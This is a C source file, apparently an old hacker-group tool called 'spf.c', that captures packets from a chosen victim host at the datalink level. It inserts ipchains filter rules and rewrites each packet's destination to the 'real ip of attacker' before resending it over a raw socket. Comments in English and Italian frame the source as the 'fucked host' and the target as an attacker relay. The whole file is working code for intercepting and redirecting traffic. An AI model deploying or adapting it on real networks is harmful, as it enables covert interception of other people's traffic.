/* 	
	**	vecna - vecna@s0ftpj.org
	**	simple packet forwarder from datalink level
	**	using libvsk - unique file "spf.c"
	*/

#include "libvsk.h"
#include <errno.h>

extern int errno;

#define fatal(M)	{	   \
			perror(M); \
			exit(0);   \
			}

int check_dup(struct ipkt *);
void setport(char *, char *, int[]); 

int main(int argc, char **argv)
	{
	int dlsfd, rsfd, opt, proto, forward, hdrincl =1, offset =0, x,
	port[4]={0, 0xFFFF, 0, 0xFFFF};
	/* 
	**	datalink sockfd, raw sockfd, options index, proto 
	**	listened, offset is size datalink protocol header 
	**	port[4] array for puts source/dest/high/low port
	*/
	char *iface;
	/* 	
	**	interface name.
	*/
	char *ipsrc, *ipdst;
	/* 
	**	ipsrc =fucked host, ipdst =bnc ip
	*/
	unsigned int real;
	/*
	**	real ip of attacker where forward packets
	*/
	char *rcvd =malloc(sizeof(struct ipkt));
	/*
	**	memory area where put packet, packet is readed with
	**	datalink header, offset is size of this header and
	**	is used on main cicle, *rcvd is delclared here for
	**	make only one allocation.
	*/

	printf("\t simple packet forwarded for multiple pourpose\n");
	printf("\t by vecna - vecna@s0ftpj.org - www.s0ftpj.org\n\n");

	if(argc != 11)
		{
		printf( "\t usage %s -t -n -p -i -s"
			"\n\t -t source of packet"
			"\n\t -n new destination"
			"\n\t -s service (UDP/TCP) type (ICMP) 0 if any"
			"\n\t -p protocol"
			"\n\t -i interface"
		        "\n",argv[0]);
		exit(0);
		}

	while(( opt = getopt(argc, argv, "t:n:i:p:s:")) != -1)
		{
		struct protoent *pe;	
		switch(opt)
			{
			case 't':
				ipsrc =optarg;
				break;
			case 'n':
				if(( real =inet_addr(optarg)) == -1)
					{
					errno =EINVAL;
					fatal("-r option required IP");
					}
				break;
			case 'p':
				if ((pe = getprotobyname(optarg)) == NULL)
					fatal("getprotobyname");
				proto = pe->p_proto;
				break;
			case 'i':
				iface =optarg;
				break;
			case 's':
                                if(!atoi(optarg))
                                        break;
				port[2] =port[3] =atoi(optarg);
				break;
			default:
				if(optarg)
					fprintf(stderr,"%s on",optarg);
				errno =EINVAL;
				fatal(" getopt()");
				break;
			}
		}

	ipdst =NULL;

	if(( dlsfd =set_vsk_param(ipsrc, ipdst, port,
				iface, proto, IO_IN, IP_FW_INSERT, 0, 0))<0)
	 	fatal("set_vsk: IP_FW_INSERT");

	/* 
	**	IP_FW_DELETE must be used on signal(SIGCLOSE, unset_vsk()); 
	**	or use "ipchains -F", as in this example where filtering 
	**	rules is not clean after end of program.
	*/

	if((offset =get_offset(dlsfd, iface)) <0)
		fatal("get device offset");

	if((forward = socket(AF_INET, SOCK_RAW, proto)) == -1)
		fatal("forward socket - SOCK_RAW");

	if((x = setsockopt(forward, IPPROTO_IP, IP_HDRINCL, 
					&hdrincl, sizeof(hdrincl))) == -1)
		fatal("setsockopt - IP_HDRINCL");

	while(1)
		{
		struct ipkt *packet;
                static int last_id;

		read(dlsfd, rcvd, sizeof(struct ipkt));

		(char *)packet = rcvd + offset; 

		if(check_dup(packet))
			continue;

/* 	questo e` il ciclo principale, in ordine:
leggo sul socket a datalink quello che mi arriva, faccio un cast in una
struttura ipkt che contiene ip header + buffer dati (in questo momento non
conosco ancora il protocollo di livello inferiore) dopo aver sommato l'offset
per levare l'header di livello 2, poi con check_dup controllo se e` il 
pacchetto che ho appena ristrasmesso o se e` un altro pacchetto, poi con
check_packet controllo se e` uno dei pacchetti filtrati, poi ... vediamo il
codice ... 	*/ 

		if(check_packet(packet, packet->ip.protocol))
			{
			struct sockaddr_in sin;

			struct udphdr *udp;
			struct tcphdr *tcp;
			struct icmphdr *icmp;

	/** other manipulation on iphdr can applied here **/
			packet->ip.daddr = real;
			packet->ip.check = 0x00;

/* 	bhe, e` abbastanza semplice, qui ho il pacchetto in una struttura 
ipkt, a seconda del campo "protocol" riesco a fare degli opportuni cast e 
lavorare anche su quell'header, dopo aver letto o cambiato o fatto qualunque
cosa al pacchetto...	*/

			switch(packet->ip.protocol)
				{
				case IPPROTO_ICMP:
					(char *)icmp =(char *)packet 
						+sizeof(struct iphdr);
					sin.sin_port =htons(0);
					break;				
				case IPPROTO_TCP:
					(char *)tcp =(char *)packet 
						+sizeof(struct iphdr);
					sin.sin_port =tcp->dest;
					break;
				case IPPROTO_UDP:
					(char *)udp =(char *)packet 
						+sizeof(struct iphdr);
					sin.sin_port =udp->dest;
					break;
				default:
					printf(" PROTOCOL NOT SUPP\n");
					break;
	/* 
	**	other manipulation at icmp/udp/tcp header 
	**	can applied on switch() 
	*/
				}

			sin.sin_family = AF_INET;
			sin.sin_addr.s_addr = packet->ip.daddr;

			x =resend(forward, packet, sin, 
					ntohs(packet->ip.tot_len), NULL, 0);
			if(x < 0)
				fatal("sendto on forwarding packet");
			}
		}
	free(rcvd);	
	/* never used :) */
	}

int check_dup(struct ipkt *packet)
	{
	static int last_id;
	int id =htons(packet->ip.id);

	if(id ==htons(last_id))
		return 1;

	last_id =packet->ip.id;

	return 0;
	}